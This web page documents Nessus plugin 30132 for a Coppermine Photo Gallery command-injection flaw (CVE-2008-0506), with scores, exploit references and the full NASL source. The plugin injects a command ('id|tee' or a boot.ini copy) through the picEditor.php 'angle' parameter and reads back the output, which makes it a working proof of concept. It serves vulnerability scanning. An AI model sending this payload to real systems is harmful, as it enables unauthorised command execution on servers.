Coppermine imageObjectIM.class.php Command Execution Vulnerabilities - Nessus

High   Plugin ID: 30132

This page contains detailed information about the Coppermine imageObjectIM.class.php Command Execution Vulnerabilities Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 30132
Name: Coppermine imageObjectIM.class.php Command Execution Vulnerabilities
Filename: coppermine_imageobjectim_cmd_exec.nasl
Vulnerability Published: N/A
This Plugin Published: 2008-01-31
Last Modification Time: 2021-01-19
Plugin Version: 1.27
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: coppermine_gallery_detect.nasl, os_fingerprint.nasl
Required KB Items [?]: www/PHP
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information


Severity: High
Vulnerability Published: N/A
Patch Published: N/A
CVE [?]: CVE-2008-0506
CPE [?]: N/A

Synopsis

The remote web server contains a PHP script that allows arbitrary command execution.

Description

The version of Coppermine Photo Gallery installed on the remote host fails to sanitize user input to the 'quality', 'angle' and 'clipval' parameters of the 'picEditor.php' script before using it in 'exec()' statements to call ImageMagick to process new images. An unauthenticated, remote attacker can leverage this issue to execute arbitrary code on the remote host subject to the privileges of the web server user id.

Solution

Either reconfigure the application to use GD as its graphics library, which is the default, or upgrade to Coppermine Photo Gallery version 1.4.15 or later.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, Immunity Canvas, Core Impact)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Coppermine imageObjectIM.class.php Command Execution Vulnerabilities vulnerability:

  1. Metasploit: exploit/unix/webapp/coppermine_piceditor
    [Coppermine Photo Gallery picEditor.php Command Execution]
  2. Exploit-DB: exploits/php/webapps/16909.rb
    [EDB-16909: Coppermine Photo Gallery 1.4.14 - 'picEditor.php' Command Execution (Metasploit)]
  3. Immunity Canvas: CANVAS

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:M/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:6.8 (Medium)
Impact Subscore:6.4
Exploitability Subscore:8.6
CVSS Temporal Score:5.6 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:5.6 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CVSS Base Score:8.8 (High)
Impact Subscore:5.9
Exploitability Subscore:2.8
CVSS Temporal Score:NA (None)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.8 (High)

Go back to menu.

Plugin Source


This is the coppermine_imageobjectim_cmd_exec.nasl nessus plugin source code. This script is Copyright (C) 2008-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(30132);
  script_version("1.27");
 script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2008-0506");
  script_bugtraq_id(27512);

  script_name(english:"Coppermine imageObjectIM.class.php Command Execution Vulnerabilities");
  script_summary(english:"Tries to run a command using Coppermine");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that allows arbitrary
command execution." );
 script_set_attribute(attribute:"description", value:
"The version of Coppermine Photo Gallery installed on the remote host
fails to sanitize user input to the 'quality', 'angle' and 'clipval'
parameters of the 'picEditor.php' script before using it in 'exec()'
statements to call ImageMagick to process new images.  An
unauthenticated, remote attacker can leverage this issue to execute
arbitrary code on the remote host subject to the privileges of the web
server user id." );
 script_set_attribute(attribute:"see_also", value:"http://www.waraxe.us/advisory-65.html");
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/487310/30/0/threaded" );
 script_set_attribute(attribute:"see_also", value:"http://coppermine-gallery.net/forum/index.php?topic=50103.0" );
 script_set_attribute(attribute:"solution", value:
"Either reconfigure the application to use GD as its graphics library,
which is the default, or upgrade to Coppermine Photo Gallery version
1.4.15 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
 script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"exploit_framework_core", value:"true");
 script_set_attribute(attribute:"metasploit_name", value:'Coppermine Photo Gallery picEditor.php Command Execution');
 script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
 script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
 script_set_attribute(attribute:"canvas_package", value:'CANVAS');
 script_cwe_id(20);

 script_set_attribute(attribute:"plugin_publication_date", value:"2008/01/31");

script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2008-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("coppermine_gallery_detect.nasl", "os_fingerprint.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded: 0, php:1);

outfile = string("include/", SCRIPT_NAME, "-", unixtime(), ".log");

os = get_kb_item("Host/OS");
if (os && "Windows" >< os) cmd = string("cmd /c copy C:\\boot.ini ", outfile);
else cmd = string("id|tee ", outfile);


# Test an install.
i = get_install_from_kb(appname: "coppermine_photo_gallery", port: port, exit_on_fail: 1);
dir = i['dir'];

# Make sure the affected script exists.
url = dir + "/picEditor.php";

r = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail: 1);
res = r[2];

  # If it does...
  if ("background-image:url(picEditor.php?img=left);" >< res)
  {
    # Try to exploit the flaw to run a command.
    exploit = string("180;", cmd, ";");

    postdata = string(
      "newimage=../../images/thumb_zip.jpg&",
      "quality=50&",
      "angle=", exploit
    );
    r = http_send_recv3(method: "POST", item: url, port: port,
      content_type: "application/x-www-form-urlencoded",
      data: postdata, exit_on_fail: 1);
    res = r[2];

    # Retrieve the file with our command output.
    r = http_send_recv3(method:"GET", item:string(dir, "/", outfile), port:port, exit_on_fail: 1);
    res = r[2];

    if (
      strlen(res) &&
      (
        ("id" >< cmd && egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:res)) ||
        ("boot.ini" >< cmd && "[boot loader]" >< res)
      )
    )
    {
      if (report_verbosity)
      {
        if ("id" >< cmd) cmd = cmd - strstr(cmd, "|");

        report = string(
          "\n",
          "Nessus was able to execute the command '", cmd, "' on the remote\n",
          "host to produce the following results :\n",
          "\n",
          data_protection::sanitize_uid(output:res)
        );
        security_warning(port:port, extra:report);
      }
    else security_warning(port);
    }
  }

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/coppermine_imageobjectim_cmd_exec.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\coppermine_imageobjectim_cmd_exec.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/coppermine_imageobjectim_cmd_exec.nasl

Go back to menu.

How to Run


Here is how to run the Coppermine imageObjectIM.class.php Command Execution Vulnerabilities as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Coppermine imageObjectIM.class.php Command Execution Vulnerabilities plugin ID 30132.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl coppermine_imageobjectim_cmd_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a coppermine_imageobjectim_cmd_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - coppermine_imageobjectim_cmd_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state coppermine_imageobjectim_cmd_exec.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: CWE | Common Weakness Enumeration:
  • CWE-20 (Weakness) Improper Input Validation
See also: Similar and related Nessus plugins:
  • 31183 - FreeBSD : coppermine -- multiple vulnerabilities (9f581778-e3d4-11dc-bb89-000bcdc1757a)
  • 31137 - Coppermine Photo Gallery album Password Cookie SQL Injection
  • 33789 - Coppermine Photo Gallery include/functions.inc.php _data Cookie lang Parameter Traversal Local File Inclusion
  • 35765 - Coppermine Photo Gallery keysToSkip Parameter Overwrite

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file coppermine_imageobjectim_cmd_exec.nasl version 1.27. For more plugins, visit the Nessus Plugin Library.

Go back to menu.